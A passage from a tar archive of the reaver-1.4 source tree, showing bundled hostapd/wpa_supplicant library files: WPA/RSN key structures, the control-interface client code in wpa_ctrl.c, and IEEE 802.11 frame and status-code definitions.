RSN_SELECTOR(0x00, 0x0f, 0xac, 5) #define RSN_KEY_DATA_NONCE RSN_SELECTOR(0x00, 0x0f, 0xac, 6) #define RSN_KEY_DATA_LIFETIME RSN_SELECTOR(0x00, 0x0f, 0xac, 7) #define RSN_KEY_DATA_ERROR RSN_SELECTOR(0x00, 0x0f, 0xac, 8) #endif /* CONFIG_PEERKEY */ #ifdef CONFIG_IEEE80211W #define RSN_KEY_DATA_IGTK RSN_SELECTOR(0x00, 0x0f, 0xac, 9) #endif /* CONFIG_IEEE80211W */ #define WPA_OUI_TYPE RSN_SELECTOR(0x00, 0x50, 0xf2, 1) #define RSN_SELECTOR_PUT(a, val) WPA_PUT_BE32((u8 *) (a), (val)) #define RSN_SELECTOR_GET(a) WPA_GET_BE32((const u8 *) (a)) #define RSN_NUM_REPLAY_COUNTERS_1 0 #define RSN_NUM_REPLAY_COUNTERS_2 1 #define RSN_NUM_REPLAY_COUNTERS_4 2 #define RSN_NUM_REPLAY_COUNTERS_16 3 #ifdef _MSC_VER #pragma pack(push, 1) #endif /* _MSC_VER */ #ifdef CONFIG_IEEE80211W #define WPA_IGTK_LEN 16 #endif /* CONFIG_IEEE80211W */ /* IEEE 802.11, 7.3.2.25.3 RSN Capabilities */ #define WPA_CAPABILITY_PREAUTH BIT(0) #define WPA_CAPABILITY_NO_PAIRWISE BIT(1) /* B2-B3: PTKSA Replay Counter */ /* B4-B5: GTKSA Replay Counter */ #define WPA_CAPABILITY_MFPR BIT(6) #define WPA_CAPABILITY_MFPC BIT(7) #define WPA_CAPABILITY_PEERKEY_ENABLED BIT(9) /* IEEE 802.11r */ #define MOBILITY_DOMAIN_ID_LEN 2 #define FT_R0KH_ID_MAX_LEN 48 #define FT_R1KH_ID_LEN 6 #define WPA_PMK_NAME_LEN 16 /* IEEE 802.11, 8.5.2 EAPOL-Key frames */ #define WPA_KEY_INFO_TYPE_MASK ((u16) (BIT(0) | BIT(1) | BIT(2))) #define WPA_KEY_INFO_TYPE_HMAC_MD5_RC4 BIT(0) #define WPA_KEY_INFO_TYPE_HMAC_SHA1_AES BIT(1) #define WPA_KEY_INFO_TYPE_AES_128_CMAC 3 #define WPA_KEY_INFO_KEY_TYPE BIT(3) /* 1 = Pairwise, 0 = Group key */ /* bit4..5 is used in WPA, but is reserved in IEEE 802.11i/RSN */ #define WPA_KEY_INFO_KEY_INDEX_MASK (BIT(4) | BIT(5)) #define WPA_KEY_INFO_KEY_INDEX_SHIFT 4 #define WPA_KEY_INFO_INSTALL BIT(6) /* pairwise */ #define WPA_KEY_INFO_TXRX BIT(6) /* group */ #define WPA_KEY_INFO_ACK BIT(7) #define WPA_KEY_INFO_MIC BIT(8) #define WPA_KEY_INFO_SECURE BIT(9) #define WPA_KEY_INFO_ERROR BIT(10) #define WPA_KEY_INFO_REQUEST BIT(11) #define WPA_KEY_INFO_ENCR_KEY_DATA BIT(12) /* IEEE 802.11i/RSN only */ #define WPA_KEY_INFO_SMK_MESSAGE BIT(13) struct wpa_eapol_key { u8 type; /* Note: key_info, key_length, and key_data_length are unaligned */ u8 key_info[2]; /* big endian */ u8 key_length[2]; /* big endian */ u8 replay_counter[WPA_REPLAY_COUNTER_LEN]; u8 key_nonce[WPA_NONCE_LEN]; u8 key_iv[16]; u8 key_rsc[WPA_KEY_RSC_LEN]; u8 key_id[8]; /* Reserved in IEEE 802.11i/RSN */ u8 key_mic[16]; u8 key_data_length[2]; /* big endian */ /* followed by key_data_length bytes of key_data */ } STRUCT_PACKED; /** * struct wpa_ptk - WPA Pairwise Transient Key * IEEE Std 802.11i-2004 - 8.5.1.2 Pairwise key hierarchy */ struct wpa_ptk { u8 kck[16]; /* EAPOL-Key Key Confirmation Key (KCK) */ u8 kek[16]; /* EAPOL-Key Key Encryption Key (KEK) */ u8 tk1[16]; /* Temporal Key 1 (TK1) */ union { u8 tk2[16]; /* Temporal Key 2 (TK2) */ struct { u8 tx_mic_key[8]; u8 rx_mic_key[8]; } auth; } u; } STRUCT_PACKED; /* WPA IE version 1 * 00-50-f2:1 (OUI:OUI type) * 0x01 0x00 (version; little endian) * (all following fields are optional:) * Group Suite Selector (4 octets) (default: TKIP) * Pairwise Suite Count (2 octets, little endian) (default: 1) * Pairwise Suite List (4 * n octets) (default: TKIP) * Authenticated Key Management Suite Count (2 octets, little endian) * (default: 1) * Authenticated Key Management Suite List (4 * n octets) * (default: unspec 802.1X) * WPA Capabilities (2 octets, little endian) (default: 0) */ struct wpa_ie_hdr { u8 elem_id; u8 len; u8 oui[4]; /* 24-bit OUI followed by 8-bit OUI type */ u8 version[2]; /* little endian */ } STRUCT_PACKED; /* 1/4: PMKID * 2/4: RSN IE * 3/4: one or two RSN IEs + GTK IE (encrypted) * 4/4: empty * 1/2: GTK IE (encrypted) * 2/2: empty */ /* RSN IE version 1 * 0x01 0x00 (version; little endian) * (all following fields are optional:) * Group Suite Selector (4 octets) (default: CCMP) * Pairwise Suite Count (2 octets, little endian) (default: 1) * Pairwise Suite List (4 * n octets) (default: CCMP) * Authenticated Key Management Suite Count (2 octets, little endian) * (default: 1) * Authenticated Key Management Suite List (4 * n octets) * (default: unspec 802.1X) * RSN Capabilities (2 octets, little endian) (default: 0) * PMKID Count (2 octets) (default: 0) * PMKID List (16 * n octets) * Management Group Cipher Suite (4 octets) (default: AES-128-CMAC) */ struct rsn_ie_hdr { u8 elem_id; /* WLAN_EID_RSN */ u8 len; u8 version[2]; /* little endian */ } STRUCT_PACKED; #ifdef CONFIG_PEERKEY enum { STK_MUI_4WAY_STA_AP = 1, STK_MUI_4WAY_STAT_STA = 2, STK_MUI_GTK = 3, STK_MUI_SMK = 4 }; enum { STK_ERR_STA_NR = 1, STK_ERR_STA_NRSN = 2, STK_ERR_CPHR_NS = 3, STK_ERR_NO_STSL = 4 }; #endif /* CONFIG_PEERKEY */ struct rsn_error_kde { be16 mui; be16 error_type; } STRUCT_PACKED; #ifdef CONFIG_IEEE80211W struct wpa_igtk_kde { u8 keyid[2]; u8 pn[6]; u8 igtk[WPA_IGTK_LEN]; } STRUCT_PACKED; #endif /* CONFIG_IEEE80211W */ #ifdef CONFIG_IEEE80211R struct rsn_mdie { u8 mobility_domain[MOBILITY_DOMAIN_ID_LEN]; u8 ft_capab; } STRUCT_PACKED; #define RSN_FT_CAPAB_FT_OVER_DS BIT(0) #define RSN_FT_CAPAB_FT_RESOURCE_REQ_SUPP BIT(1) struct rsn_ftie { u8 mic_control[2]; u8 mic[16]; u8 anonce[WPA_NONCE_LEN]; u8 snonce[WPA_NONCE_LEN]; /* followed by optional parameters */ } STRUCT_PACKED; #define FTIE_SUBELEM_R1KH_ID 1 #define FTIE_SUBELEM_GTK 2 #define FTIE_SUBELEM_R0KH_ID 3 #define FTIE_SUBELEM_IGTK 4 struct rsn_rdie { u8 id; u8 descr_count; le16 status_code; } STRUCT_PACKED; #endif /* CONFIG_IEEE80211R */ #ifdef _MSC_VER #pragma pack(pop) #endif /* _MSC_VER */ int wpa_eapol_key_mic(const u8 *key, int ver, const u8 *buf, size_t len, u8 *mic); void wpa_pmk_to_ptk(const u8 *pmk, size_t pmk_len, const char *label, const u8 *addr1, const u8 *addr2, const u8 *nonce1, const u8 *nonce2, u8 *ptk, size_t ptk_len, int use_sha256); #ifdef CONFIG_IEEE80211R int wpa_ft_mic(const u8 *kck, const u8 *sta_addr, const u8 *ap_addr, u8 transaction_seqnum, const u8 *mdie, size_t mdie_len, const u8 *ftie, size_t ftie_len, const u8 *rsnie, size_t rsnie_len, const u8 *ric, size_t ric_len, u8 *mic); void wpa_derive_pmk_r0(const u8 *xxkey, size_t xxkey_len, const u8 *ssid, size_t ssid_len, const u8 *mdid, const u8 *r0kh_id, size_t r0kh_id_len, const u8 *s0kh_id, u8 *pmk_r0, u8 *pmk_r0_name); void wpa_derive_pmk_r1_name(const u8 *pmk_r0_name, const u8 *r1kh_id, const u8 *s1kh_id, u8 *pmk_r1_name); void wpa_derive_pmk_r1(const u8 *pmk_r0, const u8 *pmk_r0_name, const u8 *r1kh_id, const u8 *s1kh_id, u8 *pmk_r1, u8 *pmk_r1_name); void wpa_pmk_r1_to_ptk(const u8 *pmk_r1, const u8 *snonce, const u8 *anonce, const u8 *sta_addr, const u8 *bssid, const u8 *pmk_r1_name, u8 *ptk, size_t ptk_len, u8 *ptk_name); #endif /* CONFIG_IEEE80211R */ struct wpa_ie_data { int proto; int pairwise_cipher; int group_cipher; int key_mgmt; int capabilities; size_t num_pmkid; const u8 *pmkid; int mgmt_group_cipher; }; int wpa_parse_wpa_ie_rsn(const u8 *rsn_ie, size_t rsn_ie_len, struct wpa_ie_data *data); void rsn_pmkid(const u8 *pmk, size_t pmk_len, const u8 *aa, const u8 *spa, u8 *pmkid, int use_sha256); const char * wpa_cipher_txt(int cipher); const char * wpa_key_mgmt_txt(int key_mgmt, int proto); int wpa_compare_rsn_ie(int ft_initial_assoc, const u8 *ie1, size_t ie1len, const u8 *ie2, size_t ie2len); int wpa_insert_pmkid(u8 *ies, size_t ies_len, const u8 *pmkid); #endif /* WPA_COMMON_H */ reaver-1.4/src/common/wpa_ctrl.c0000755000175000017500000002320311705505256016243 0ustar reaverreaver/* * wpa_supplicant/hostapd control interface library * Copyright (c) 2004-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #ifdef CONFIG_CTRL_IFACE #ifdef CONFIG_CTRL_IFACE_UNIX #include #endif /* CONFIG_CTRL_IFACE_UNIX */ #include "wpa_ctrl.h" #include "common.h" #if defined(CONFIG_CTRL_IFACE_UNIX) || defined(CONFIG_CTRL_IFACE_UDP) #define CTRL_IFACE_SOCKET #endif /* CONFIG_CTRL_IFACE_UNIX || CONFIG_CTRL_IFACE_UDP */ /** * struct wpa_ctrl - Internal structure for control interface library * * This structure is used by the wpa_supplicant/hostapd control interface * library to store internal data. Programs using the library should not touch * this data directly. They can only use the pointer to the data structure as * an identifier for the control interface connection and use this as one of * the arguments for most of the control interface library functions. */ struct wpa_ctrl { #ifdef CONFIG_CTRL_IFACE_UDP int s; struct sockaddr_in local; struct sockaddr_in dest; char *cookie; #endif /* CONFIG_CTRL_IFACE_UDP */ #ifdef CONFIG_CTRL_IFACE_UNIX int s; struct sockaddr_un local; struct sockaddr_un dest; #endif /* CONFIG_CTRL_IFACE_UNIX */ #ifdef CONFIG_CTRL_IFACE_NAMED_PIPE HANDLE pipe; #endif /* CONFIG_CTRL_IFACE_NAMED_PIPE */ }; #ifdef CONFIG_CTRL_IFACE_UNIX struct wpa_ctrl * wpa_ctrl_open(const char *ctrl_path) { struct wpa_ctrl *ctrl; static int counter = 0; int ret; size_t res; int tries = 0; ctrl = os_malloc(sizeof(*ctrl)); if (ctrl == NULL) return NULL; os_memset(ctrl, 0, sizeof(*ctrl)); ctrl->s = socket(PF_UNIX, SOCK_DGRAM, 0); if (ctrl->s < 0) { os_free(ctrl); return NULL; } ctrl->local.sun_family = AF_UNIX; counter++; try_again: ret = os_snprintf(ctrl->local.sun_path, sizeof(ctrl->local.sun_path), "/tmp/wpa_ctrl_%d-%d", getpid(), counter); if (ret < 0 || (size_t) ret >= sizeof(ctrl->local.sun_path)) { close(ctrl->s); os_free(ctrl); return NULL; } tries++; if (bind(ctrl->s, (struct sockaddr *) &ctrl->local, sizeof(ctrl->local)) < 0) { if (errno == EADDRINUSE && tries < 2) { /* * getpid() returns unique identifier for this instance * of wpa_ctrl, so the existing socket file must have * been left by unclean termination of an earlier run. * Remove the file and try again. */ unlink(ctrl->local.sun_path); goto try_again; } close(ctrl->s); os_free(ctrl); return NULL; } ctrl->dest.sun_family = AF_UNIX; res = os_strlcpy(ctrl->dest.sun_path, ctrl_path, sizeof(ctrl->dest.sun_path)); if (res >= sizeof(ctrl->dest.sun_path)) { close(ctrl->s); os_free(ctrl); return NULL; } if (connect(ctrl->s, (struct sockaddr *) &ctrl->dest, sizeof(ctrl->dest)) < 0) { close(ctrl->s); unlink(ctrl->local.sun_path); os_free(ctrl); return NULL; } return ctrl; } void wpa_ctrl_close(struct wpa_ctrl *ctrl) { unlink(ctrl->local.sun_path); close(ctrl->s); os_free(ctrl); } #endif /* CONFIG_CTRL_IFACE_UNIX */ #ifdef CONFIG_CTRL_IFACE_UDP struct wpa_ctrl * wpa_ctrl_open(const char *ctrl_path) { struct wpa_ctrl *ctrl; char buf[128]; size_t len; ctrl = os_malloc(sizeof(*ctrl)); if (ctrl == NULL) return NULL; os_memset(ctrl, 0, sizeof(*ctrl)); ctrl->s = socket(PF_INET, SOCK_DGRAM, 0); if (ctrl->s < 0) { perror("socket"); os_free(ctrl); return NULL; } ctrl->local.sin_family = AF_INET; ctrl->local.sin_addr.s_addr = htonl((127 << 24) | 1); if (bind(ctrl->s, (struct sockaddr *) &ctrl->local, sizeof(ctrl->local)) < 0) { close(ctrl->s); os_free(ctrl); return NULL; } ctrl->dest.sin_family = AF_INET; ctrl->dest.sin_addr.s_addr = htonl((127 << 24) | 1); ctrl->dest.sin_port = htons(WPA_CTRL_IFACE_PORT); if (connect(ctrl->s, (struct sockaddr *) &ctrl->dest, sizeof(ctrl->dest)) < 0) { perror("connect"); close(ctrl->s); os_free(ctrl); return NULL; } len = sizeof(buf) - 1; if (wpa_ctrl_request(ctrl, "GET_COOKIE", 10, buf, &len, NULL) == 0) { buf[len] = '\0'; ctrl->cookie = os_strdup(buf); } return ctrl; } void wpa_ctrl_close(struct wpa_ctrl *ctrl) { close(ctrl->s); os_free(ctrl->cookie); os_free(ctrl); } #endif /* CONFIG_CTRL_IFACE_UDP */ #ifdef CTRL_IFACE_SOCKET int wpa_ctrl_request(struct wpa_ctrl *ctrl, const char *cmd, size_t cmd_len, char *reply, size_t *reply_len, void (*msg_cb)(char *msg, size_t len)) { struct timeval tv; int res; fd_set rfds; const char *_cmd; char *cmd_buf = NULL; size_t _cmd_len; #ifdef CONFIG_CTRL_IFACE_UDP if (ctrl->cookie) { char *pos; _cmd_len = os_strlen(ctrl->cookie) + 1 + cmd_len; cmd_buf = os_malloc(_cmd_len); if (cmd_buf == NULL) return -1; _cmd = cmd_buf; pos = cmd_buf; os_strlcpy(pos, ctrl->cookie, _cmd_len); pos += os_strlen(ctrl->cookie); *pos++ = ' '; os_memcpy(pos, cmd, cmd_len); } else #endif /* CONFIG_CTRL_IFACE_UDP */ { _cmd = cmd; _cmd_len = cmd_len; } if (send(ctrl->s, _cmd, _cmd_len, 0) < 0) { os_free(cmd_buf); return -1; } os_free(cmd_buf); for (;;) { tv.tv_sec = 2; tv.tv_usec = 0; FD_ZERO(&rfds); FD_SET(ctrl->s, &rfds); res = select(ctrl->s + 1, &rfds, NULL, NULL, &tv); if (FD_ISSET(ctrl->s, &rfds)) { res = recv(ctrl->s, reply, *reply_len, 0); if (res < 0) return res; if (res > 0 && reply[0] == '<') { /* This is an unsolicited message from * wpa_supplicant, not the reply to the * request. Use msg_cb to report this to the * caller. */ if (msg_cb) { /* Make sure the message is nul * terminated. */ if ((size_t) res == *reply_len) res = (*reply_len) - 1; reply[res] = '\0'; msg_cb(reply, res); } continue; } *reply_len = res; break; } else { return -2; } } return 0; } #endif /* CTRL_IFACE_SOCKET */ static int wpa_ctrl_attach_helper(struct wpa_ctrl *ctrl, int attach) { char buf[10]; int ret; size_t len = 10; ret = wpa_ctrl_request(ctrl, attach ? "ATTACH" : "DETACH", 6, buf, &len, NULL); if (ret < 0) return ret; if (len == 3 && os_memcmp(buf, "OK\n", 3) == 0) return 0; return -1; } int wpa_ctrl_attach(struct wpa_ctrl *ctrl) { return wpa_ctrl_attach_helper(ctrl, 1); } int wpa_ctrl_detach(struct wpa_ctrl *ctrl) { return wpa_ctrl_attach_helper(ctrl, 0); } #ifdef CTRL_IFACE_SOCKET int wpa_ctrl_recv(struct wpa_ctrl *ctrl, char *reply, size_t *reply_len) { int res; res = recv(ctrl->s, reply, *reply_len, 0); if (res < 0) return res; *reply_len = res; return 0; } int wpa_ctrl_pending(struct wpa_ctrl *ctrl) { struct timeval tv; fd_set rfds; tv.tv_sec = 0; tv.tv_usec = 0; FD_ZERO(&rfds); FD_SET(ctrl->s, &rfds); select(ctrl->s + 1, &rfds, NULL, NULL, &tv); return FD_ISSET(ctrl->s, &rfds); } int wpa_ctrl_get_fd(struct wpa_ctrl *ctrl) { return ctrl->s; } #endif /* CTRL_IFACE_SOCKET */ #ifdef CONFIG_CTRL_IFACE_NAMED_PIPE #ifndef WPA_SUPPLICANT_NAMED_PIPE #define WPA_SUPPLICANT_NAMED_PIPE "WpaSupplicant" #endif #define NAMED_PIPE_PREFIX TEXT("\\\\.\\pipe\\") TEXT(WPA_SUPPLICANT_NAMED_PIPE) struct wpa_ctrl * wpa_ctrl_open(const char *ctrl_path) { struct wpa_ctrl *ctrl; DWORD mode; TCHAR name[256]; int i, ret; ctrl = os_malloc(sizeof(*ctrl)); if (ctrl == NULL) return NULL; os_memset(ctrl, 0, sizeof(*ctrl)); #ifdef UNICODE if (ctrl_path == NULL) ret = _snwprintf(name, 256, NAMED_PIPE_PREFIX); else ret = _snwprintf(name, 256, NAMED_PIPE_PREFIX TEXT("-%S"), ctrl_path); #else /* UNICODE */ if (ctrl_path == NULL) ret = os_snprintf(name, 256, NAMED_PIPE_PREFIX); else ret = os_snprintf(name, 256, NAMED_PIPE_PREFIX "-%s", ctrl_path); #endif /* UNICODE */ if (ret < 0 || ret >= 256) { os_free(ctrl); return NULL; } for (i = 0; i < 10; i++) { ctrl->pipe = CreateFile(name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); /* * Current named pipe server side in wpa_supplicant is * re-opening the pipe for new clients only after the previous * one is taken into use. This leaves a small window for race * conditions when two connections are being opened at almost * the same time. Retry if that was the case. */ if (ctrl->pipe != INVALID_HANDLE_VALUE || GetLastError() != ERROR_PIPE_BUSY) break; WaitNamedPipe(name, 1000); } if (ctrl->pipe == INVALID_HANDLE_VALUE) { os_free(ctrl); return NULL; } mode = PIPE_READMODE_MESSAGE; if (!SetNamedPipeHandleState(ctrl->pipe, &mode, NULL, NULL)) { CloseHandle(ctrl->pipe); os_free(ctrl); return NULL; } return ctrl; } void wpa_ctrl_close(struct wpa_ctrl *ctrl) { CloseHandle(ctrl->pipe); os_free(ctrl); } int wpa_ctrl_request(struct wpa_ctrl *ctrl, const char *cmd, size_t cmd_len, char *reply, size_t *reply_len, void (*msg_cb)(char *msg, size_t len)) { DWORD written; DWORD readlen = *reply_len; if (!WriteFile(ctrl->pipe, cmd, cmd_len, &written, NULL)) return -1; if (!ReadFile(ctrl->pipe, reply, *reply_len, &readlen, NULL)) return -1; *reply_len = readlen; return 0; } int wpa_ctrl_recv(struct wpa_ctrl *ctrl, char *reply, size_t *reply_len) { DWORD len = *reply_len; if (!ReadFile(ctrl->pipe, reply, *reply_len, &len, NULL)) return -1; *reply_len = len; return 0; } int wpa_ctrl_pending(struct wpa_ctrl *ctrl) { DWORD left; if (!PeekNamedPipe(ctrl->pipe, NULL, 0, NULL, &left, NULL)) return -1; return left ? 1 : 0; } int wpa_ctrl_get_fd(struct wpa_ctrl *ctrl) { return -1; } #endif /* CONFIG_CTRL_IFACE_NAMED_PIPE */ #endif /* CONFIG_CTRL_IFACE */ reaver-1.4/src/common/version.h0000755000175000017500000000013111705505256016115 0ustar reaverreaver#ifndef VERSION_H #define VERSION_H #define VERSION_STR "0.7.3" #endif /* VERSION_H */ reaver-1.4/src/common/lib.rules0000755000175000017500000000031311705505256016103 0ustar reaverreaverifndef CC CC=gcc endif ifndef CFLAGS CFLAGS = -MMD -O2 -Wall -g endif CFLAGS += -I.. -I../utils Q=@ E=echo ifeq ($(V), 1) Q= E=true endif %.o: %.c $(Q)$(CC) -c -o $@ $(CFLAGS) $< @$(E) " CC " $< reaver-1.4/src/common/ieee802_11_defs.h0000755000175000017500000004505511705505256017111 0ustar reaverreaver/* * IEEE 802.11 Frame type definitions * Copyright (c) 2002-2009, Jouni Malinen * Copyright (c) 2007-2008 Intel Corporation * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef IEEE802_11_DEFS_H #define IEEE802_11_DEFS_H /* IEEE 802.11 defines */ #define WLAN_FC_PVER 0x0003 #define WLAN_FC_TODS 0x0100 #define WLAN_FC_FROMDS 0x0200 #define WLAN_FC_MOREFRAG 0x0400 #define WLAN_FC_RETRY 0x0800 #define WLAN_FC_PWRMGT 0x1000 #define WLAN_FC_MOREDATA 0x2000 #define WLAN_FC_ISWEP 0x4000 #define WLAN_FC_ORDER 0x8000 #define WLAN_FC_GET_TYPE(fc) (((fc) & 0x000c) >> 2) #define WLAN_FC_GET_STYPE(fc) (((fc) & 0x00f0) >> 4) #define WLAN_GET_SEQ_FRAG(seq) ((seq) & (BIT(3) | BIT(2) | BIT(1) | BIT(0))) #define WLAN_GET_SEQ_SEQ(seq) \ (((seq) & (~(BIT(3) | BIT(2) | BIT(1) | BIT(0)))) >> 4) #define WLAN_FC_TYPE_MGMT 0 #define WLAN_FC_TYPE_CTRL 1 #define WLAN_FC_TYPE_DATA 2 /* management */ #define WLAN_FC_STYPE_ASSOC_REQ 0 #define WLAN_FC_STYPE_ASSOC_RESP 1 #define WLAN_FC_STYPE_REASSOC_REQ 2 #define WLAN_FC_STYPE_REASSOC_RESP 3 #define WLAN_FC_STYPE_PROBE_REQ 4 #define WLAN_FC_STYPE_PROBE_RESP 5 #define WLAN_FC_STYPE_BEACON 8 #define WLAN_FC_STYPE_ATIM 9 #define WLAN_FC_STYPE_DISASSOC 10 #define WLAN_FC_STYPE_AUTH 11 #define WLAN_FC_STYPE_DEAUTH 12 #define WLAN_FC_STYPE_ACTION 13 /* control */ #define WLAN_FC_STYPE_PSPOLL 10 #define WLAN_FC_STYPE_RTS 11 #define WLAN_FC_STYPE_CTS 12 #define WLAN_FC_STYPE_ACK 13 #define WLAN_FC_STYPE_CFEND 14 #define WLAN_FC_STYPE_CFENDACK 15 /* data */ #define WLAN_FC_STYPE_DATA 0 #define WLAN_FC_STYPE_DATA_CFACK 1 #define WLAN_FC_STYPE_DATA_CFPOLL 2 #define WLAN_FC_STYPE_DATA_CFACKPOLL 3 #define WLAN_FC_STYPE_NULLFUNC 4 #define WLAN_FC_STYPE_CFACK 5 #define WLAN_FC_STYPE_CFPOLL 6 #define WLAN_FC_STYPE_CFACKPOLL 7 #define WLAN_FC_STYPE_QOS_DATA 8 /* Authentication algorithms */ #define WLAN_AUTH_OPEN 0 #define WLAN_AUTH_SHARED_KEY 1 #define WLAN_AUTH_FT 2 #define WLAN_AUTH_LEAP 128 #define WLAN_AUTH_CHALLENGE_LEN 128 #define WLAN_CAPABILITY_ESS BIT(0) #define WLAN_CAPABILITY_IBSS BIT(1) #define WLAN_CAPABILITY_CF_POLLABLE BIT(2) #define WLAN_CAPABILITY_CF_POLL_REQUEST BIT(3) #define WLAN_CAPABILITY_PRIVACY BIT(4) #define WLAN_CAPABILITY_SHORT_PREAMBLE BIT(5) #define WLAN_CAPABILITY_PBCC BIT(6) #define WLAN_CAPABILITY_CHANNEL_AGILITY BIT(7) #define WLAN_CAPABILITY_SPECTRUM_MGMT BIT(8) #define WLAN_CAPABILITY_SHORT_SLOT_TIME BIT(10) #define WLAN_CAPABILITY_DSSS_OFDM BIT(13) /* Status codes (IEEE 802.11-2007, 7.3.1.9, Table 7-23) */ #define WLAN_STATUS_SUCCESS 0 #define WLAN_STATUS_UNSPECIFIED_FAILURE 1 #define WLAN_STATUS_CAPS_UNSUPPORTED 10 #define WLAN_STATUS_REASSOC_NO_ASSOC 11 #define WLAN_STATUS_ASSOC_DENIED_UNSPEC 12 #define WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG 13 #define WLAN_STATUS_UNKNOWN_AUTH_TRANSACTION 14 #define WLAN_STATUS_CHALLENGE_FAIL 15 #define WLAN_STATUS_AUTH_TIMEOUT 16 #define WLAN_STATUS_AP_UNABLE_TO_HANDLE_NEW_STA 17 #define WLAN_STATUS_ASSOC_DENIED_RATES 18 /* IEEE 802.11b */ #define WLAN_STATUS_ASSOC_DENIED_NOSHORT 19 #define WLAN_STATUS_ASSOC_DENIED_NOPBCC 20 #define WLAN_STATUS_ASSOC_DENIED_NOAGILITY 21 /* IEEE 802.11h */ #define WLAN_STATUS_SPEC_MGMT_REQUIRED 22 #define WLAN_STATUS_PWR_CAPABILITY_NOT_VALID 23 #define WLAN_STATUS_SUPPORTED_CHANNEL_NOT_VALID 24 /* IEEE 802.11g */ #define WLAN_STATUS_ASSOC_DENIED_NO_SHORT_SLOT_TIME 25 #define WLAN_STATUS_ASSOC_DENIED_NO_ER_PBCC 26 #define WLAN_STATUS_ASSOC_DENIED_NO_DSSS_OFDM 27 #define WLAN_STATUS_R0KH_UNREACHABLE 28 /* IEEE 802.11w */ #define WLAN_STATUS_ASSOC_REJECTED_TEMPORARILY 30 #define WLAN_STATUS_ROBUST_MGMT_FRAME_POLICY_VIOLATION 31 #define WLAN_STATUS_UNSPECIFIED_QOS_FAILURE 32 #define WLAN_STATUS_REQUEST_DECLINED 37 #define WLAN_STATUS_INVALID_PARAMETERS 38 /* IEEE 802.11i */ #define WLAN_STATUS_INVALID_IE 40 #define WLAN_STATUS_GROUP_CIPHER_NOT_VALID 41 #define WLAN_STATUS_PAIRWISE_CIPHER_NOT_VALID 42 #define WLAN_STATUS_AKMP_NOT_VALID 43 #define WLAN_STATUS_UNSUPPORTED_RSN_IE_VERSION 44 #define WLAN_STATUS_INVALID_RSN_IE_CAPAB 45 #define WLAN_STATUS_CIPHER_REJECTED_PER_POLICY 46 #define WLAN_STATUS_TS_NOT_CREATED 47 #define WLAN_STATUS_DIRECT_LINK_NOT_ALLOWED 48 #define WLAN_STATUS_DEST_STA_NOT_PRESENT 49 #define WLAN_STATUS_DEST_STA_NOT_QOS_STA 50 #define WLAN_STATUS_ASSOC_DENIED_LISTEN_INT_TOO_LARGE 51 /* IEEE 802.11r */ #define WLAN_STATUS_INVALID_FT_ACTION_FRAME_COUNT 52 #define WLAN_STATUS_INVALID_PMKID 53 #define WLAN_STATUS_INVALID_MDIE 54 #define WLAN_STATUS_INVALID_FTIE 55 /* Reason codes (IEEE 802.11-2007, 7.3.1.7, Table 7-22) */ #define WLAN_REASON_UNSPECIFIED 1 #define WLAN_REASON_PREV_AUTH_NOT_VALID 2 #define WLAN_REASON_DEAUTH_LEAVING 3 #define WLAN_REASON_DISASSOC_DUE_TO_INACTIVITY 4 #define WLAN_REASON_DISASSOC_AP_BUSY 5 #define WLAN_REASON_CLASS2_FRAME_FROM_NONAUTH_STA 6 #define WLAN_REASON_CLASS3_FRAME_FROM_NONASSOC_STA 7 #define WLAN_REASON_DISASSOC_STA_HAS_LEFT 8 #define WLAN_REASON_STA_REQ_ASSOC_WITHOUT_AUTH 9 /* IEEE 802.11h */ #define WLAN_REASON_PWR_CAPABILITY_NOT_VALID 10 #define WLAN_REASON_SUPPORTED_CHANNEL_NOT_VALID 11 /* IEEE 802.11i */ #define WLAN_REASON_INVALID_IE 13 #define WLAN_REASON_MICHAEL_MIC_FAILURE 14 #define WLAN_REASON_4WAY_HANDSHAKE_TIMEOUT 15 #define WLAN_REASON_GROUP_KEY_UPDATE_TIMEOUT 16 #define WLAN_REASON_IE_IN_4WAY_DIFFERS 17 #define WLAN_REASON_GROUP_CIPHER_NOT_VALID 18 #define WLAN_REASON_PAIRWISE_CIPHER_NOT_VALID 19 #define WLAN_REASON_AKMP_NOT_VALID 20 #define WLAN_REASON_UNSUPPORTED_RSN_IE_VERSION 21 #define WLAN_REASON_INVALID_RSN_IE_CAPAB 22 #define WLAN_REASON_IEEE_802_1X_AUTH_FAILED 23 #define WLAN_REASON_CIPHER_SUITE_REJECTED 24 /* Information Element IDs */ #define WLAN_EID_SSID 0 #define WLAN_EID_SUPP_RATES 1 #define WLAN_EID_FH_PARAMS 2 #define WLAN_EID_DS_PARAMS 3 #define WLAN_EID_CF_PARAMS 4 #define WLAN_EID_TIM 5 #define WLAN_EID_IBSS_PARAMS 6 #define WLAN_EID_COUNTRY 7 #define WLAN_EID_CHALLENGE 16 /* EIDs defined by IEEE 802.11h - START */ #define WLAN_EID_PWR_CONSTRAINT 32 #define WLAN_EID_PWR_CAPABILITY 33 #define WLAN_EID_TPC_REQUEST 34 #define WLAN_EID_TPC_REPORT 35 #define WLAN_EID_SUPPORTED_CHANNELS 36 #define WLAN_EID_CHANNEL_SWITCH 37 #define WLAN_EID_MEASURE_REQUEST 38 #define WLAN_EID_MEASURE_REPORT 39 #define WLAN_EID_QUITE 40 #define WLAN_EID_IBSS_DFS 41 /* EIDs defined by IEEE 802.11h - END */ #define WLAN_EID_ERP_INFO 42 #define WLAN_EID_HT_CAP 45 #define WLAN_EID_RSN 48 #define WLAN_EID_EXT_SUPP_RATES 50 #define WLAN_EID_MOBILITY_DOMAIN 54 #define WLAN_EID_FAST_BSS_TRANSITION 55 #define WLAN_EID_TIMEOUT_INTERVAL 56 #define WLAN_EID_RIC_DATA 57 #define WLAN_EID_HT_OPERATION 61 #define WLAN_EID_SECONDARY_CHANNEL_OFFSET 62 #define WLAN_EID_20_40_BSS_COEXISTENCE 72 #define WLAN_EID_20_40_BSS_INTOLERANT 73 #define WLAN_EID_OVERLAPPING_BSS_SCAN_PARAMS 74 #define WLAN_EID_MMIE 76 #define WLAN_EID_VENDOR_SPECIFIC 221 /* Action frame categories (IEEE 802.11-2007, 7.3.1.11, Table 